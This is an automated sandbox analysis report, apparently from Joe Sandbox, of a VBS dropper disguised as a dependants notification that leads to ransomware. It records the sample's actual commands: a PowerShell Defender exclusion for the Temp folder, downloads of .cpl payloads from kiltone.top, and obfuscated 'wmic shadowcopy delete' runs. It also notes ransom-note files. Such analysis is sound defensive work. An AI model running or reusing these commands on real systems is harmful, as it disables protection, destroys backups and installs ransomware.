Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS_1.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS_1.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS_1.vbs", ProcessId: 1456, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp', CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS_1.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1456, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp', ProcessId: 1528, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7196, ProcessName: svchost.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	ReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Local\Temp\fjeljies.cpl	ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.5% probability

Source: https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf	HTTP Parser: No favicon
Source: file:///C:/Users/user/Downloads/downloaded.pdf	HTTP Parser: No favicon
Source: file:///C:/Users/user/Downloads/downloaded.pdf	HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 45.125.67.168:443 -> 192.168.2.7:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.125.67.168:443 -> 192.168.2.7:49756 version: TLS 1.2

Source:	Binary string: Z:\scvhost\Release\scvhost.pdb source: eryy65ty.exe, 00000022.00000000.1564548857.0000000000C7B000.00000002.00000001.01000000.00000009.sdmp, eryy65ty.exe, 0000002A.00000000.1725571622.0000000000C7B000.00000002.00000001.01000000.00000009.sdmp, eryy65ty.exe, 0000002D.00000000.1808036248.0000000000C7B000.00000002.00000001.01000000.00000009.sdmp, eryy65ty.exe.31.dr
Source:	Binary string: Z:\lderd\Release\lderd.pdb source: fjeljies.cpl.16.dr
Source:	Binary string: Z:\scvhost\Release\scvhost.pdbd source: eryy65ty.exe, 00000022.00000000.1564548857.0000000000C7B000.00000002.00000001.01000000.00000009.sdmp, eryy65ty.exe, 0000002A.00000000.1725571622.0000000000C7B000.00000002.00000001.01000000.00000009.sdmp, eryy65ty.exe, 0000002D.00000000.1808036248.0000000000C7B000.00000002.00000001.01000000.00000009.sdmp, eryy65ty.exe.31.dr

Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: D:\sources\migration\
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: D:\sources\replacementmanifests\
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: D:\sources\migration\wtr\
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: D:\sources\replacementmanifests\microsoft-activedirectory-webservices\
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: D:\sources\replacementmanifests\microsoft-client-license-platform-service-migration\
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: D:\sources\replacementmanifests\hwvid-migration-2\

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe	Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Child: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe			Jump to behavior

Networking

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000

Source: Joe Sandbox View

IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	UDP traffic detected without corresponding DNS query: 40.81.94.65
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf HTTP/1.1Host: www.oldmutual.co.zaConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /stelin/rwcla.cpl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kiltone.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.oldmutual.co.zaConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdfAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf HTTP/1.1Host: www.oldmutual.co.zaConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /stelin/Gosjeufon.cpl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kiltone.topConnection: Keep-Alive

Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.oldmutual.co.za
Source: global traffic	DNS traffic detected: DNS query: kiltone.top
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 8659Connection: closeDate: Sun, 22 Dec 2024 07:25:59 GMTLast-Modified: Fri, 20 Dec 2024 07:21:35 GMTx-amz-server-side-encryption: AES256Accept-Ranges: bytesServer: AmazonS3Content-Security-Policy: default-src 'self'; font-src 'self' data: https://use.typekit.net https://test-dms.oldmutual.com.gh https://test.interpayafrica.com https://test-dms.oldmutual.com.gh/* https://test.interpayafrica.com/* https://tagmanager.google.com https://fonts.googleapis.com https://fonts.gstatic.com https://www.brighttalk.com https://www.pages06.net https://vds.issproxy.com https://vds.issgovernance.com https://ir.tools.investis.com https://otp.tools.investis.com https://irs.tools.investis.com https://services.ominsure.co.za https://embed.tawk.to https://salesiq.zoho.com https://css.zohostatic.com https://css.zohocdn.com/* https://css.zohocdn.com/salesiq/styles/fonts/cw/puvi/* https://css.zohocdn.com/salesiq/styles/fonts/cw/* https://css.zohocdn.com; style-src 'self' 'unsafe-inline' https://tagmanager.google.com https://test-dms.oldmutual.com.gh https://test.interpayafrica.com https://test-dms.oldmutual.com.gh/* https://test.interpayafrica.com/* https://fonts.googleapis.com https://optimize.google.com https://www.brighttalk.com https://www.pages06.net https://vds.issproxy.com https://vds.issgovernance.com https://ir.tools.investis.com https://otp.tools.investis.com https://irs.tools.investis.com https://services.ominsure.co.za https://www.gstatic.com https://embed.tawk.to https://cdn.jsdelivr.net/* https://css.zohocdn.com https://css.zohostatic.com https://cdn.jsdelivr.net/* https://static.zohocdn.com; img-src 'self' data: https://p.typekit.net https://tawk.link https://tawk.link/* https://test-dms.oldmutual.com.gh https://test.interpayafrica.com https://test-dms.oldmutual.com.gh/* https://test.interpayafrica.com/* https://t.co https://www.google.co.za https://www.google.com https://www.gstatic.com https://ssl.gstatic.com https://maps.gstatic.com https://maps.googleapis.com https://eu-images.contentstack.com https://images.contentstack.io https://i.ytimg.com https://www.google-analytics.com https://www.facebook.com https://stats.g.doubleclick.net https://px.ads.linkedin.com https://p.adsymptotic.com https://lh3.googleusercontent.com https://www.brighttalk.com https://www.pages06.net https://vds.issproxy.com https://vds.issgovernance.com https://ir.tools.investis.com https://otp.tools.investis.com https://irs.tools.investis.com https://optimize.google.com https://ws.sessioncam.com https://services.ominsure.co.za https://*.fls.doubleclick.net https://sp.analytics.yahoo.com https://embed.tawk.to https://embed.tawk.to https://salesiq.zoho.com https://salesiq.zoho https://salesiq.zohopublic.com https://css.zohostatic.com https://css.zohostatic.com/* https://css.zohocdn.com https://analytics.twitter.com/1/i/* https://geo-tracker.trinadsp.co.za/* https://s2s.oldmutual.co.za https://track.adform.

Source: cert9.db.34.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: cert9.db.34.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: cert9.db.34.dr	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: svchost.exe, 00000011.00000002.2579105714.000001428C000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: cert9.db.34.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: cert9.db.34.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: cert9.db.34.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: cert9.db.34.dr	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: qmgr.db.17.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.17.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.17.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.17.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000011.00000002.2579481409.000001428C02C000.00000004.00000020.00020000.00000000.sdmp, edb.log.17.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adm5fg7myczym5ugfpmw2lireirq_2024.11.8.0/
Source: qmgr.db.17.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.17.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.17.dr, qmgr.db.17.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: cert9.db.34.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: cert9.db.34.dr	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: cert9.db.34.dr	String found in binary or memory: http://x1.c.lencr.org/0
Source: cert9.db.34.dr	String found in binary or memory: http://x1.i.lencr.org/0
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://MD8.mozilla.org/1/m
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://account.bellmedia.c
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://allegro.pl/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://bugzilla.mo
Source: prefs.js.34.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: rundll32.exe, 00000017.00000002.1936554638.00000000007EA000.00000004.00000020.00020000.00000000.sdmp, fjeljies.cpl.16.dr	String found in binary or memory: https://digify.com/a/#/access/login
Source: fjeljies.cpl.16.dr	String found in binary or memory: https://digify.com/a/#/access/logincmd
Source: qmgr.db.17.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000011.00000003.1352579233.000001428BDD0000.00000004.00000800.00020000.00000000.sdmp, edb.log.17.dr, qmgr.db.17.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: extensions.json.34.dr	String found in binary or memory: https://github.com/mozilla/webcompat-reporter
Source: prefs.js.34.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: wscript.exe, 00000002.00000003.1408309940.000002021BB6E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000002.1410315754.000002021BB6E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000003.1408416479.000002021BB6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kiltone.top/ste
Source: fjeljies.cpl.16.dr	String found in binary or memory: https://kiltone.top/stelin/Gosjeufon.cpl
Source: cmd.exe, 0000001D.00000002.1562114601.00000000036B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kiltone.top/stelin/Gosjeufon.cpl-Outfile$env:tmp
Source: wscript.exe, 00000002.00000002.1410520430.000002021BDA5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000002.1410601508.000002021DA70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kiltone.top/stelin/rwcla.
Source: wscript.exe, 00000002.00000003.1408416479.000002021BB6E000.00000004.00000020.00020000.00000000.sdmp, NOTIFICATION_OF_DEPENDANTS_1.vbs	String found in binary or memory: https://kiltone.top/stelin/rwcla.cpl
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://login.live.com
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://login.microsoftonline.com
Source: qmgr.db.17.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: extensions.json.34.dr	String found in binary or memory: https://screenshots.firefox.com/
Source: places.sqlite.34.dr	String found in binary or memory: https://support.mozilla.org
Source: places.sqlite.34.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: favicons.sqlite.34.dr	String found in binary or memory: https://support.mozilla.org/products/firefox
Source: places.sqlite.34.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://twitter.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://weibo.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.aliexpress.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.amazon.ca/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.amazon.co.uk/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.amazon.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.amazon.de/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.amazon.fr/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.avito.ru/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.baidu.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.bbc.co.uk/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.ctrip.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.ebay.co.uk/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.ebay.de/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.google.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.google.com/complete/
Source: 2824c836-2afd-4a95-940b-ed2b991ba55d.34.dr, ff032c8b-05e6-43c9-9e84-732dbe7aca27.34.dr, 3be89113-af2b-4b48-9c47-40ac1156f7a2.34.dr	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.ifeng.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.iqiyi.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.leboncoin.fr/
Source: places.sqlite.34.dr	String found in binary or memory: https://www.mozilla.org
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.mozilla.org/
Source: favicons.sqlite.34.dr	String found in binary or memory: https://www.mozilla.org/about/
Source: places.sqlite.34.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: favicons.sqlite.34.dr	String found in binary or memory: https://www.mozilla.org/contribute/
Source: places.sqlite.34.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: places.sqlite.34.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: places.sqlite.34.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: places.sqlite.34.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.msn.com
Source: chromecache_592.18.dr	String found in binary or memory: https://www.oldmutual.co.za/news/internet-explorer-support
Source: wscript.exe, wscript.exe, 00000002.00000002.1410520430.000002021BDA5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000002.1410601508.000002021DA70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.oldmutual.co.za/v3/assets/blt0
Source: wscript.exe, 00000002.00000003.1408416479.000002021BB6E000.00000004.00000020.00020000.00000000.sdmp, NOTIFICATION_OF_DEPENDANTS_1.vbs	String found in binary or memory: https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b443
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.olx.pl/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.reddit.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.wykop.pl/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.youtube.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.zhihu.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown	HTTPS traffic detected: 45.125.67.168:443 -> 192.168.2.7:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.125.67.168:443 -> 192.168.2.7:49756 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Deletes shadow drive data (may be related to ransomware)

Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\jExFKd\jExF\..\..\Windows\jExF\jExF\..\..\system32\jExF\jExF\..\..\wbem\jExF\jExFK\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\qYxiJv\qYxi\..\..\Windows\qYxi\qYxi\..\..\system32\qYxi\qYxi\..\..\wbem\qYxi\qYxiJ\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\DgeFGH\DgeF\..\..\Windows\DgeF\DgeF\..\..\system32\DgeF\DgeF\..\..\wbem\DgeF\DgeFG\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\xMvAnp\xMvA\..\..\Windows\xMvA\xMvA\..\..\system32\xMvA\xMvA\..\..\wbem\xMvA\xMvAn\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\mCMXKV\mCMX\..\..\Windows\mCMX\mCMX\..\..\system32\mCMX\mCMX\..\..\wbem\mCMX\mCMXK\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\mZDBzN\mZDB\..\..\Windows\mZDB\mZDB\..\..\system32\mZDB\mZDB\..\..\wbem\mZDB\mZDBz\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\jExFKd\jExF\..\..\Windows\jExF\jExF\..\..\system32\jExF\jExF\..\..\wbem\jExF\jExFK\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\xMvAnp\xMvA\..\..\Windows\xMvA\xMvA\..\..\system32\xMvA\xMvA\..\..\wbem\xMvA\xMvAn\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\qYxiJv\qYxi\..\..\Windows\qYxi\qYxi\..\..\system32\qYxi\qYxi\..\..\wbem\qYxi\qYxiJ\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\mCMXKV\mCMX\..\..\Windows\mCMX\mCMX\..\..\system32\mCMX\mCMX\..\..\wbem\mCMX\mCMXK\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\DgeFGH\DgeF\..\..\Windows\DgeF\DgeF\..\..\system32\DgeF\DgeF\..\..\wbem\DgeF\DgeFG\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\mZDBzN\mZDB\..\..\Windows\mZDB\mZDB\..\..\system32\mZDB\mZDB\..\..\wbem\mZDB\mZDBz\..\..\wmic.exe shadowcopy delete

May encrypt documents and pictures (Ransomware)

Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user~1\appdata\local\temp\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\desktop\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\desktop\atjbemhssb\decryptfiles.txt
